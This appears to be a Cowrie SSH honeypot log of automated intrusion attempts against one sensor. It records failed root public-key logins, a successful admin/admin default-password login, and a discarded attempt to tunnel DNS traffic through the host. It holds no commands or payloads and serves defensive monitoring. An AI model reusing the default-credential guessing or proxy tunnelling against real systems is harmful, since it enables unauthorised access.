{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:b7:c5:c1:bc:02:c0:bc:5d:ef:05:3f:1b:d5:0e:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpEM9rNiAmwl94nfYNrF4rRN5HtF1itSj0eAVQMNE74G1pUPw1OnmvHh4vdef2/XROXyhZU/njZHUXyH8Zk7vSVPnNfgJIzdNNi7851eG6WaGdnFoAZ02P/fPWHmPIwIb2TJlRFBoxsWvScLZ5w/kmPGIKUhN6feUNnX4OtaHXnlAotLzusaMyNPEIuIJyoEiMdDbDUE3MhfMTG2cqWwrJbM7+qp7iTWnefJH/XxuhisnnuGkdiCoeWx+vx+XuzoeHJp9sEYY/eB61g9abjLaX+uBblXBnQiuDtOEKUbi2HtbJjvr9gwA2qHY1uRKyDBK4fuC4NfnxbDMCXYiu4Y7rES1qILhJg2nzVGqArZzXM+X2ugNFxEpsMLCQbeItpfXGE8x7HZ4uN+Cpd1kd1XeeQUuTK//RKA/ZGdWPYsgIENVvEBF8ZlZDtaGDTiwJ05rKpgdSlBn+8uFY1PmNwF094DbxuQS4B/YDJEoT4D6NB6/6P+j3xuiAIXTLBh8phCU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:b7:c5:c1:bc:02:c0:bc:5d:ef:05:3f:1b:d5:0e:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.279648Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:b7:c5:c1:bc:02:c0:bc:5d:ef:05:3f:1b:d5:0e:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpEM9rNiAmwl94nfYNrF4rRN5HtF1itSj0eAVQMNE74G1pUPw1OnmvHh4vdef2/XROXyhZU/njZHUXyH8Zk7vSVPnNfgJIzdNNi7851eG6WaGdnFoAZ02P/fPWHmPIwIb2TJlRFBoxsWvScLZ5w/kmPGIKUhN6feUNnX4OtaHXnlAotLzusaMyNPEIuIJyoEiMdDbDUE3MhfMTG2cqWwrJbM7+qp7iTWnefJH/XxuhisnnuGkdiCoeWx+vx+XuzoeHJp9sEYY/eB61g9abjLaX+uBblXBnQiuDtOEKUbi2HtbJjvr9gwA2qHY1uRKyDBK4fuC4NfnxbDMCXYiu4Y7rES1qILhJg2nzVGqArZzXM+X2ugNFxEpsMLCQbeItpfXGE8x7HZ4uN+Cpd1kd1XeeQUuTK//RKA/ZGdWPYsgIENVvEBF8ZlZDtaGDTiwJ05rKpgdSlBn+8uFY1PmNwF094DbxuQS4B/YDJEoT4D6NB6/6P+j3xuiAIXTLBh8phCU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.283480Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.325869Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49672,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e00e9dbc86","protocol":"ssh","message":"New connection: 87.251.64.176:49672 (10.17.0.5:22) [session: d2e00e9dbc86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:24.194259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:24.199000Z","src_ip":"87.251.64.176","session":"d2e00e9dbc86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:24.295066Z","src_ip":"87.251.64.176","session":"d2e00e9dbc86","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:24.589934Z","src_ip":"87.251.64.176","session":"d2e00e9dbc86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:24.688775Z","session":"d2e00e9dbc86","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:24.787847Z","src_ip":"87.251.64.176","session":"d2e00e9dbc86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:24.886410Z","src_ip":"87.251.64.176","session":"d2e00e9dbc86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.250.61.10","src_port":38670,"dst_ip":"10.17.0.5","dst_port":22,"session":"845e563adde1","protocol":"ssh","message":"New connection: 94.250.61.10:38670 (10.17.0.5:22) [session: 845e563adde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:36.944458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:36.948878Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.071636Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:1c:e7:cb:17:19:f9:a3:ad:01:20:df:b1:0e:6a:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcU8FB6TdBbz5F2XeNwdE4X3su7LJfbj+TjCrUGqmufe61572q3RO2DW6NjC/AEabZdu2PcxYfwsQOdV8ww9gcRL3Y8yo5zqiWxTPqPnH1xTc8Ob88rzk0ps7h6y+HaaGTZMg1/RjX13o5hI35PUwiLPGUjcxc9m3oGsi5BgDezTeaxzFQOGVJhvoeiiadZEPom74rjHLzV6ky90PCCt8J345bLJUAIA/B06JX+/WRO8G9jiF2aqhF7WDkNRT1k/lNfkJNw/6VOtUfNpDpmJwM8yKtznCjJNqDje/FOXPsBktApXgsLJ07sLT/FpBdlUTm+KNYXWsAQKK+oA2x72NN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:1c:e7:cb:17:19:f9:a3:ad:01:20:df:b1:0e:6a:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.593784Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:1c:e7:cb:17:19:f9:a3:ad:01:20:df:b1:0e:6a:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcU8FB6TdBbz5F2XeNwdE4X3su7LJfbj+TjCrUGqmufe61572q3RO2DW6NjC/AEabZdu2PcxYfwsQOdV8ww9gcRL3Y8yo5zqiWxTPqPnH1xTc8Ob88rzk0ps7h6y+HaaGTZMg1/RjX13o5hI35PUwiLPGUjcxc9m3oGsi5BgDezTeaxzFQOGVJhvoeiiadZEPom74rjHLzV6ky90PCCt8J345bLJUAIA/B06JX+/WRO8G9jiF2aqhF7WDkNRT1k/lNfkJNw/6VOtUfNpDpmJwM8yKtznCjJNqDje/FOXPsBktApXgsLJ07sLT/FpBdlUTm+KNYXWsAQKK+oA2x72NN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.597564Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:3a:7d:fc:7a:a6:b6:e6:f9:0c:17:96:e8:c8:00:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4Uig2oiKFTIySh/YNIsrfXPHeA5qsZ32KvwMKlMNtm3Hmnag3wNO37kBFS80FOJ+1UKKXM053xkvilpc1Pc7xArLesrcmejXE+9p9g6zIrn/r6trI5afPRxabqkJu6Bg/CYN5VZZ0qvIFC1WD1Pg8nx0ZyMXjiu8QJvhR5AoQjF4R9KaX+pqUu222yPCj0Zj3wkv8NCi8Uu7zsPYBhegoOvwCaQ1RAZi0LT5qFgV+SU8AQ5CUMiP7ybBrxKH8oX2kkgy9wafqJ+tN3EM4xlgPqmRtD8MP3pltxk8kAtvYdANe/nLcoqhF/SkgHWKF0Uw4GEHqnUQMjYN8ag8p3cYxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:3a:7d:fc:7a:a6:b6:e6:f9:0c:17:96:e8:c8:00:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.706959Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:3a:7d:fc:7a:a6:b6:e6:f9:0c:17:96:e8:c8:00:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4Uig2oiKFTIySh/YNIsrfXPHeA5qsZ32KvwMKlMNtm3Hmnag3wNO37kBFS80FOJ+1UKKXM053xkvilpc1Pc7xArLesrcmejXE+9p9g6zIrn/r6trI5afPRxabqkJu6Bg/CYN5VZZ0qvIFC1WD1Pg8nx0ZyMXjiu8QJvhR5AoQjF4R9KaX+pqUu222yPCj0Zj3wkv8NCi8Uu7zsPYBhegoOvwCaQ1RAZi0LT5qFgV+SU8AQ5CUMiP7ybBrxKH8oX2kkgy9wafqJ+tN3EM4xlgPqmRtD8MP3pltxk8kAtvYdANe/nLcoqhF/SkgHWKF0Uw4GEHqnUQMjYN8ag8p3cYxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.710659Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:38:5f:97:03:b3:0a:d0:e1:e6:5e:29:bf:88:ee:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr7b0ooS15y6oHVzHywY4GZMfaKLPPacOZuNCorsUFF0GLNqYsQRAXfJOnonMjvq8yGTpDenwFIOP13opZrLTQ5N1LkBS9TnnsOvtOkunC5RkNjVFL80jQ/6Z3qWq5pd/Bzf94XGaZgj8FJRcWXPN0qT0u6zi4fZpch8TDtHNEOKZAFPQ2G3578gqu7ParP2TdttZi8vcEDEDseJycyDntiWciW5CtLDMRNeo7N/KlmDbQXwcrHts3E0I9M/7tLVLVGAZKEHDPuyaEyYDZQQ8z5O+JJo5PIN25ShmAgEC0sUWJeKN7glDBzZgq2INQgDGEW6Bc8hGyjv1tP5xdRt1VQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:38:5f:97:03:b3:0a:d0:e1:e6:5e:29:bf:88:ee:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.819081Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:38:5f:97:03:b3:0a:d0:e1:e6:5e:29:bf:88:ee:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr7b0ooS15y6oHVzHywY4GZMfaKLPPacOZuNCorsUFF0GLNqYsQRAXfJOnonMjvq8yGTpDenwFIOP13opZrLTQ5N1LkBS9TnnsOvtOkunC5RkNjVFL80jQ/6Z3qWq5pd/Bzf94XGaZgj8FJRcWXPN0qT0u6zi4fZpch8TDtHNEOKZAFPQ2G3578gqu7ParP2TdttZi8vcEDEDseJycyDntiWciW5CtLDMRNeo7N/KlmDbQXwcrHts3E0I9M/7tLVLVGAZKEHDPuyaEyYDZQQ8z5O+JJo5PIN25ShmAgEC0sUWJeKN7glDBzZgq2INQgDGEW6Bc8hGyjv1tP5xdRt1VQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.822189Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:82:bc:21:5d:ac:3b:e9:1d:c5:f5:0c:bb:30:e0:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUNUNIt2VCl/hbfh5iLrlLVxLI6eId28ahNbGQ+iolFDYOK8c7WVjv7UWbxbvnEExQjF8BlR79KEH/2LJfXI667W/9OnZoV7vpvvpJ0NIOmyLxMggbdtoxE3KXfENbLA5u6ICsuzZi00jkESJFRL1YtNeRbZuxLocOVgNJpz/oN62B2shlZPz2etiWi0Cac6sDYu48TbH3pJNljL20WsZHYKqHSVzE/1ZaQtAJIJ282QeOf+W3+5TIE7vOGEAOj844Qsd5yCgmKuG7QVRKEi1hisJ4qrktKWISLAsI88s2JvQzggOobgHNF2F80P1CfGUzhlItgg4l/QHOe1JSICLB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:82:bc:21:5d:ac:3b:e9:1d:c5:f5:0c:bb:30:e0:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.930784Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:82:bc:21:5d:ac:3b:e9:1d:c5:f5:0c:bb:30:e0:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUNUNIt2VCl/hbfh5iLrlLVxLI6eId28ahNbGQ+iolFDYOK8c7WVjv7UWbxbvnEExQjF8BlR79KEH/2LJfXI667W/9OnZoV7vpvvpJ0NIOmyLxMggbdtoxE3KXfENbLA5u6ICsuzZi00jkESJFRL1YtNeRbZuxLocOVgNJpz/oN62B2shlZPz2etiWi0Cac6sDYu48TbH3pJNljL20WsZHYKqHSVzE/1ZaQtAJIJ282QeOf+W3+5TIE7vOGEAOj844Qsd5yCgmKuG7QVRKEi1hisJ4qrktKWISLAsI88s2JvQzggOobgHNF2F80P1CfGUzhlItgg4l/QHOe1JSICLB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:37.934328Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:c1:e0:55:8a:ea:c8:ca:8a:94:07:3c:cb:5e:ae:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnwlH0xR/zGdOnoxCWzZkDtRrA/1j00VlFbiXvl7o8IT8PMA/svtnu8CD6DMmhX9PxyW+WfQnYByR+wtKUbLzMhxVgXzgLv6lUSYnags003IFVK/kQUIz7KiFWVsnDMsYcbQdVUFqLzXI/e5bbW31qdlLX4QA3/7ujQQP1e3bwmYoXabE/ZqhFwuGOyvHWRiHncoPCun5uSmWmhQKV+kAcJVCEFZf+0xP76pFfMgSI5/nQ2JmcPjqM0VUILbcVGoMM/f5djogrkbfwtxtOEDH4fHXG2UR4MbyYJRt+08EFaMGYb4gYkzx7w7MWDLP/uLEhD+d3RotuV5N4C7VCBBip","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:c1:e0:55:8a:ea:c8:ca:8a:94:07:3c:cb:5e:ae:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:38.045327Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:c1:e0:55:8a:ea:c8:ca:8a:94:07:3c:cb:5e:ae:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnwlH0xR/zGdOnoxCWzZkDtRrA/1j00VlFbiXvl7o8IT8PMA/svtnu8CD6DMmhX9PxyW+WfQnYByR+wtKUbLzMhxVgXzgLv6lUSYnags003IFVK/kQUIz7KiFWVsnDMsYcbQdVUFqLzXI/e5bbW31qdlLX4QA3/7ujQQP1e3bwmYoXabE/ZqhFwuGOyvHWRiHncoPCun5uSmWmhQKV+kAcJVCEFZf+0xP76pFfMgSI5/nQ2JmcPjqM0VUILbcVGoMM/f5djogrkbfwtxtOEDH4fHXG2UR4MbyYJRt+08EFaMGYb4gYkzx7w7MWDLP/uLEhD+d3RotuV5N4C7VCBBip","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:38.048353Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:33:38.156453Z","src_ip":"94.250.61.10","session":"845e563adde1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.241.76.128","src_port":48054,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f09442e45b","protocol":"ssh","message":"New connection: 191.241.76.128:48054 (10.17.0.5:22) [session: 29f09442e45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:36.947040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:36.952043Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:37.087372Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:1c:e7:cb:17:19:f9:a3:ad:01:20:df:b1:0e:6a:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcU8FB6TdBbz5F2XeNwdE4X3su7LJfbj+TjCrUGqmufe61572q3RO2DW6NjC/AEabZdu2PcxYfwsQOdV8ww9gcRL3Y8yo5zqiWxTPqPnH1xTc8Ob88rzk0ps7h6y+HaaGTZMg1/RjX13o5hI35PUwiLPGUjcxc9m3oGsi5BgDezTeaxzFQOGVJhvoeiiadZEPom74rjHLzV6ky90PCCt8J345bLJUAIA/B06JX+/WRO8G9jiF2aqhF7WDkNRT1k/lNfkJNw/6VOtUfNpDpmJwM8yKtznCjJNqDje/FOXPsBktApXgsLJ07sLT/FpBdlUTm+KNYXWsAQKK+oA2x72NN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 05:1c:e7:cb:17:19:f9:a3:ad:01:20:df:b1:0e:6a:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:34:37.734540Z","src_ip":"191.241.76.128","session":"29f09442e45b","protocol":"ssh"}
